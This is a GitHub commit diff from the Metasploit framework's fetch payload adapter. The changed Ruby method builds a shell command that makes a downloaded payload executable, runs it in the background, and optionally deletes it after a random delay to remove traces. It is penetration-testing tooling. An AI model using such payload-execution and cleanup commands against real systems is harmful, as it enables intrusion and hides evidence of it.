Skip to content

Commit

Permalink
Streamline command
Browse files Browse the repository at this point in the history
  • Loading branch information
bwatters-r7 committed Dec 13, 2024
1 parent 594946d commit 0334109
Showing 1 changed file with 2 additions and 8 deletions.
10 changes: 2 additions & 8 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -203,14 +203,8 @@ def _execute_win

def _execute_nix
cmds = ";chmod +x #{_remote_destination_nix}"
if datastore['FETCH_DELETE']
# sometimes the delete can happen before the process is created
sleep_delete = rand(2..7)
cmds << ";(#{_remote_destination_nix} &)"
cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
else
cmds << ";#{_remote_destination_nix} &"
end
cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
end

Expand Down

0 comments on commit 0334109

Please sign in to comment.